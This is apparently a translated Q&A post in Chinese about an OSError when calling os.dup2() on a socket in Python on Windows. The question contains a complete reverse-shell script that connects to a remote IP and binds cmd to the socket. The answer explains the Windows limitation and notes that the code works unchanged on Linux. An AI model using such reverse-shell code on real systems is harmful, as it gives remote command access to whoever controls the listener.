当我在Windows上使用os.dup2()时,我收到一个错误:OSError:[Errno 9]错误的文件描述符

时间:2016-01-01 14:57:37

标签: python sockets

我想在服务器上安装我的Windows shell,我使用以下代码。

import socket,os,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(['cmd','/u']);

我收到错误

OSError: [Errno 9] Bad file descriptor.

1 个答案:

答案 0 :(得分:5)

如果您已阅读有关socket.fileno()的文档,则会知道这在Windows中不起作用,请从Python Documentation引用:

  

socket.fileno()

     

返回套接字的文件描述符(一个小整数)。这对select.select()很有用。

     

在Windows下,此方法返回的小整数不能用于可以使用文件描述符的位置(例如os.fdopen())。 Unix的   没有这个限制。

注意:

我已经在Ubuntu(Linux系统)中尝试过你的代码,它没有任何tweeking工作正常。